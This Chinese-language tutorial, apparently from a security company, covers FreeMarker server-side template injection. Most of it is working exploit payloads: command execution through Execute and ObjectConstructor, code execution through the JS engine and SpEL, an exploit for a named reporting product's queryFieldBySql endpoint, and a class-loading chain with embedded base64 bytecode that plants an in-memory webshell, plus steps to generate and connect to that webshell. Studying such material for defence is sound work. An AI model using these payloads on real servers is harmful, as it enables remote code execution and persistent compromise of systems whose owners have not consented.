FreeMarker SSTI漏洞基础


FreeMarker SSTI漏洞基础
北京卓识网安技术股份有限公司




基础知识
Freemarker是一种java模板开发引擎,基于模板和程序数据动态输出文本的通用工具。在freemarker中以ftl文件作为模板文件,其结构类似于html格式,一般由以下几部分组成:
1. 文本,即文本。
2. 注释,与html注释一样。
3. 插值,使用${}包裹,用于动态地从程序中插入数据。
4. ftl标签,<#<


内建函数
Freemarker中的内建函数:new()和api()
1.new():new函数用法是"value"?new(),在?的左边你可以指定一个字符串,是TemplateModel实现类的完全限定名,结果是调用构造方法生成一个方法变量,然后将新变量返回。
2.api():api函数用法是"value"?api,value?api提供访问 value的API(通常是Java API),比如value?api.someJavaMethod()。api函数使用是有前提条件的:
o api_builtin_enabled 配置设置项必须设置为true。为了不降低已有应用程序的安全性,它的默认值是false(至少在2.3.22 版本中)。
o 值本身要支持它。我们在讨论当模板看到的值,它是通过对象包装 从原始对象值(来自于数据模型或者Java方法的返回值)中创建的。因此,这就依赖FreeMarker的配置设置项 object_wrapper, 还有被包装的(原始)对象:当对象包装器是 DefaultObjectWrapper ,并且它的 incompatibleImprovements 设置为 2.3.22 或更高 (在这里看如何设置它) (事实上,要做的是将它的 useAdaptersForContainer 属性设置为 true,但那是提到的 incompatibleImprovements 的默认值)时,从 Map 和 List 中得到FTL值支持 ?api。其它的 java.util.Collections 也是这样,如果 DefaultObjectWrapper 的 forceLegacyNonListCollections 属性设置为 false (默认是 true, 这是为了更好的向后兼容拆包);当被纯 BeansWrapper 包装时,所有值都支持 ?api。但是再次重申,如果有其它方法,就避免使用它;实现了 freemarker.template.TemplateModelWithAPISupport 接口, 自定义的 TemplateModel 可以支持 ?api。


freemarker ssti POC
两种freemarker ssti漏洞常用的POC:
· POC1使用freemarker.template.utility.Execute类,其exec方法直接调用Runtime().getRuntime().exec()执行命令。
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("whoami")}
${"freemarker.template.utility.Execute"?new()("whoami")}
· POC2使用ObjectConstructor类,其exec方法通过反射实现了将指定输入的类进行实例化,利用其exec方法可以通过java.lang.ProcessBuilder可执行命令,通过JS引擎/spel表达式可执行java代码,因此这种利用方式在注入内存马等深入利用中最为常见。
<#assign ex="freemarker.template.utility.ObjectConstructor"?new()>${ex("java.lang.ProcessBuilder","whoami").start()}
${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.ProcessBuilder","calc").start()}
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()><#assign br=ob("java.io.BufferedReader",ob("java.io.InputStreamReader",ob("java.lang.ProcessBuilder","whoami").start().getInputStream())) ><#list 1..1000 as t><#assign line=br.readLine()!\"null\"><#if line==\"null\"><#break>#if>${line}${\"
\"}#list>
//借助js引擎
<#assign ex="freemarker.template.utility.ObjectConstructor"?new()>${ex(javax.script.ScriptEngineManager").getEngineByName("js").eval("java.lang.System.getProperty(\"java.version\")")}
${"freemarker.template.utility.ObjectConstructor"?new()("javax.script.ScriptEngineManager").getEngineByName("js").eval("java.lang.System.getProperty(\"java.version\")")}
//spel表达式
${"freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression("{T(java.lang.System).getProperty(\"java.version\")}").getValue()}
· POC3使用Jython执行系统命令,但是需要其他依赖所以并不常用。
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")@value>


漏洞复现
1.新建一个maven项目,添加freemarker依赖,版本设置为2.3.31.
2.在demo文件中写入freemarker ssti触发代码。
import freemarker.template.Configuration;
import freemarker.template.Template;
import java.io.File;
import java.io.FileWriter;
import java.io.Writer;
import java.util.HashMap;
import java.util.Map;
public class FreemarkerDemo1 {
public static void main(String[] args) throws Exception {
//1.创建配置类
Configuration configuration = new Configuration(Configuration.getVersion());
//2.设置模板所在的目录
configuration.setDirectoryForTemplateLoading(new File("/Users/xxx/Documents/java_code/freemaker_test/src/main/resources"));
//3.设置字符集
configuration.setDefaultEncoding("utf-8");
//4.加载模板
Template template = configuration.getTemplate("hello.ftl");
//5.创建数据模型
Map map=new HashMap();
map.put("name", "张三");
map.put("message", "欢迎来到我的博客!");
//6.创建Writer对象
Writer out =new FileWriter(new File("/Users/xxx/Documents/java_code/freemaker_test/src/main/resources/hello.html"));
//7.输出
template.process(map, out);
//8.关闭Writer对象
out.close();
}
}
3.在hello.ftl中写入POC
${name},${message}
${"freemarker.template.utility.Execute"?new()("open -a Calculator")}

在实际的漏洞场景中一般有2种情况:
· 直接可以编辑ftl模板文件。
· ftl模板中接收可控参数作为输入。


深入利用-通过js引擎注入内存马
EXP
以积木报表queryFieldBySql接口freemarker ssti漏洞为例,从公开的poc中可以看出其使用ObjectConstructor反射调用ScriptEngineManager以执行java代码来自定义加载类实现注入内存马。
{"sql":"call${\"freemarker.template.utility.ObjectConstructor\"?new()(\"javax.script.ScriptEngineManager\").getEngineByName(\"js\").eval(\"classLoader=java.lang.Thread.currentThread().getContextClassLoader();try{classLoader.loadClass('org.apachen.SOAPUtils').newInstance();}catch(e){clsString=classLoader.loadClass('java.lang.String');bytecodeBase64='这里填入base64的内存马';try{clsBase64=classLoader.loadClass('java.util.Base64');clsDecoder=classLoader.loadClass('java.util.Base64$Decoder');decoder=clsBase64.getMethod('getDecoder').invoke(base64Clz);bytecode=clsDecoder.getMethod('decode',clsString).invoke(decoder,bytecodeBase64);}catch(ee){try{datatypeConverterClz=classLoader.loadClass('javax.xml.bind.DatatypeConverter');bytecode=datatypeConverterClz.getMethod('parseBase64Binary',clsString).invoke(datatypeConverterClz,bytecodeBase64);}catch(eee){clazz1=classLoader.loadClass('sun.misc.BASE64Decoder');bytecode=clazz1.newInstance().decodeBuffer(bytecodeBase64);}}clsClassLoader=classLoader.loadClass('java.lang.ClassLoader');clsByteArray=(''.getBytes().getClass());clsInt=java.lang.Integer.TYPE;defineClass=clsClassLoader.getDeclaredMethod('defineClass',[clsByteArray,clsInt,clsInt]);defineClass.setAccessible(true);clazz=defineClass.invoke(classLoader,bytecode,0,bytecode.length);clazz.newInstance();};#{1};\")}","dbSource":"","type":"0"}


分段解构EXP
1.创建ObjectConstructor实例,加载ScriptEngineManager类,获取js引擎通过eval方法执行Java代码。
"freemarker.template.utility.ObjectConstructor"?new()("javax.script.ScriptEngineManager").getEngineByName("js").eval("...")
2.获取类加载器,尝试加载恶意类并实例化。
classLoader=java.lang.Thread.currentThread().getContextClassLoader();try{classLoader.loadClass('org.apachen.SOAPUtils').newInstance();}
3.当直接实例化恶意类失败时,重新加载base64之后的恶意类(根据中间件、依赖等通过JmG生成对应的内存马)。
catch(e){
clsString=classLoader.loadClass('java.lang.String');
bytecodeBase64='这里填入base64的内存马';
try{
clsBase64=classLoader.loadClass('java.util.Base64');
clsDecoder=classLoader.loadClass('java.util.Base64$Decoder');
decoder=clsBase64.getMethod('getDecoder').invoke(base64Clz);
bytecode=clsDecoder.getMethod('decode',clsString).invoke(decoder,bytecodeBase64);
}catch(ee){
try{
datatypeConverterClz=classLoader.loadClass('javax.xml.bind.DatatypeConverter');
bytecode=datatypeConverterClz.getMethod('parseBase64Binary',clsString).invoke(datatypeConverterClz,bytecodeBase64);
}catch(eee){
clazz1=classLoader.loadClass('sun.misc.BASE64Decoder');
bytecode=clazz1.newInstance().decodeBuffer(bytecodeBase64);
}
}
}
clsClassLoader=classLoader.loadClass('java.lang.ClassLoader');
clsByteArray=(''.getBytes().getClass());
clsInt=java.lang.Integer.TYPE;
defineClass=clsClassLoader.getDeclaredMethod('defineClass',[clsByteArray,clsInt,clsInt]);
defineClass.setAccessible(true);
clazz=defineClass.invoke(classLoader,bytecode,0,bytecode.length);
clazz.newInstance();


高版本JDK下植入内存马
初级payload
高版本JDK不再内置js引擎或者极少数低版本jdk也不支持js引擎的情况,为应对这种情况可以尝试通过spel表达式实现注入内存马,以下为FreeMarker 模板引擎结合Spring Expression Language (SpEL) 实现获取jdk版本的payload。
${"freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression("{T(java.lang.System).getProperty(\"java.version\")}").getValue()}
分段来解析上述代码结构:
1.freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression()
o 通过freemarker内置的new方法实例化SpelExpressionParser类并调用parseExpression方法等待解析spel表达式。
2.{T(java.lang.System).getProperty(\"java.version\")}
o spel表达式,调用system类下getProperty获取jdk版本。
3.getValue():
o 执行解析后的 SpEL 表达式,并返回结果。
用到的spel表达式知识:
1.类型表达式T()
o T(全限定类名):返回此类的类对象,可以直接调用该类的静态方法/变量。注意,此处获取的是此类的类对象而不是实力对象,因此无法调用非静态方法。如,{T(javax.script.ScriptEngineManager).getEngineByName("js")此种写法就是错误的,因为getEngineByName方法是非静态方法。
2.在spel表达式中可以使用new方法。
o {T(javax.script.ScriptEngineManager).getEngineByName("js")可以使用new javax.script.ScriptEngineManager().getEngineByName("js")来实现。
spel表达式注入内存马,前半部分与上述payload一致既创建spel表达式解析器
${"freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression("[spel表达式]")
spel表达式部分,通过org.springframework.cglib.core.ReflectUtils类defineClass方法动态加载恶意类以实现任意代码执行。
{T(org.springframework.cglib.core.ReflectUtils).defineClass(
\"[注入器类名]\",
T(java.util.Base64).getDecoder().decode(\"[base64编码的内存马]\"),
T(java.lang.Thread).currentThread().getContextClassLoader(),
null,
T(java.lang.Class).forName(\"org.springframework.expression.ExpressionParser\")
)}


完整payload
适用jdk11-22的任意类加载payload。注意:下述payload未添加容错处理,相关类加载过一次后无法重复加载,重放数据包会导致重复编译报错。
${"freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression("{T(org.springframework.cglib.core.ReflectUtils).defineClass(\"org.springframework.f.SessionDataUtil\",T(java.util.Base64).getDecoder().decode(\"yv66vgAAADQAIgoAFAAVCAAWCgAUABcHABgKAAkAGQoABwAaBwAbCgAHABkHABwBAAhjYWxjRXhlYwEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAA1TdGFja01hcFRhYmxlBwAYAQAGPGluaXQ+AQAIPGNsaW5pdD4BAApTb3VyY2VGaWxlAQAUU2Vzc2lvbkRhdGFVdGlsLmphdmEHAB0MAB4AHwEABGNhbGMMACAAIQEAE2phdmEvbGFuZy9FeGNlcHRpb24MABAACwwACgALAQAlb3JnL3NwcmluZ2ZyYW1ld29yay9mL1Nlc3Npb25EYXRhVXRpbAEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABwAJAAAAAAADABgACgALAAEADAAAAEMAAgABAAAADrgAARICtgADV6cABEuxAAEAAAAJAAwABAACAA0AAAAOAAMAAAAGAAkABwANAAkADgAAAAcAAkwHAA8AAAEAEAALAAEADAAAACgAAQABAAAACCq3AAW4AAaxAAAAAQANAAAADgADAAAACwAEAAwABwANAAgAEQALAAEADAAAACUAAgAAAAAACbsAB1m3AAhXsQAAAAEADQAAAAoAAgAAAA8ACAAQAAEAEgAAAAIAEw==\"),T(java.lang.Thread).currentThread().getContextClassLoader(), null, T(java.lang.Class).forName(\"org.springframework.expression.ExpressionParser\"))}").getValue()}
重复加载payload
${"freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression("{T(java.lang.Thread).currentThread().getContextClassLoader().loadClass(\"org.springframework.f.SessionDataUtil\").newInstance()}").getValue()}
代码结构
1. ${"freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser")}:
o 使用 FreeMarker 的 ObjectConstructor 创建一个SpelExpressionParser对象实例,用于解析和执行 SpEL 表达式。
2. parseExpression(...):
o 解析传入的 SpEL 表达式。
o 表达式中包含动态加载恶意类的逻辑。
3. {T(org.springframework.cglib.core.ReflectUtils).defineClass(...)}:
o 使用 Spring 的 ReflectUtils.defineClass 方法动态加载一个类。
o 类的字节码通过 Base64 编码传入(yv66vgAA...)。
4. getValue():
o 执行解析后的 SpEL 表达式,并返回结果。
5. base64字节码:
o 其中base64部分为测试用payload,其代码为调用`java.lang.Runtime`类弹出计算器,在实际漏洞利用中可以替换为内存马。
package org.springframework.f;
public class SessionDataUtil {
static final void calcExec(){
try {
java.lang.Runtime.getRuntime().exec("calc");
}catch (Exception e){}
}
public SessionDataUtil() {
calcExec();
}
static {
new SessionDataUtil();
}
}
//编译命令
javac SessionDataUtil.java
//编码命令
base64 -i SessionDataUtil.class
//输出
yv66vgAAADQAIgoAFAAVCAAWCgAUABcHABgKAAkAGQoABwAaBwAbCgAHABkHABwBAAhjYWxjRXhlYwEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAA1TdGFja01hcFRhYmxlBwAYAQAGPGluaXQ+AQAIPGNsaW5pdD4BAApTb3VyY2VGaWxlAQAUU2Vzc2lvbkRhdGFVdGlsLmphdmEHAB0MAB4AHwEABGNhbGMMACAAIQEAE2phdmEvbGFuZy9FeGNlcHRpb24MABAACwwACgALAQAlb3JnL3NwcmluZ2ZyYW1ld29yay9mL1Nlc3Npb25EYXRhVXRpbAEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABwAJAAAAAAADABgACgALAAEADAAAAEMAAgABAAAADrgAARICtgADV6cABEuxAAEAAAAJAAwABAACAA0AAAAOAAMAAAAGAAkABwANAAkADgAAAAcAAkwHAA8AAAEAEAALAAEADAAAACgAAQABAAAACCq3AAW4AAaxAAAAAQANAAAADgADAAAACwAEAAwABwANAAgAEQALAAEADAAAACUAAgAAAAAACbsAB1m3AAhXsQAAAAEADQAAAAoAAgAAAA8ACAAQAAEAEgAAAAIAEw==


内存马注入
1.java-memshell-generator生成内存马
工具地址:https://github.com/pen4uin/java-memshell-generator,注入器类名要与payload中definClass方法中要加载的类名一致。

2.修改payload,加载内存马,成功则返回如图所示。
{"sql":"select '${\"freemarker.template.utility.ObjectConstructor\"?new()(\"org.springframework.expression.spel.standard.SpelExpressionParser\").parseExpression(\"{T(org.springframework.cglib.core.ReflectUtils).defineClass(\\\"org.springframework.f.SessionDataUtilssss\\\",T(java.util.Base64).getDecoder().decode(\\\"[此处填写base64编码的内存马文件]\\\"),T(java.lang.Thread).currentThread().getContextClassLoader(), null, T(java.lang.Class).forName(\\\"org.springframework.expression.ExpressionParser\\\"))}\").getValue()}'"}

3.选择对应工具,连接内存马。

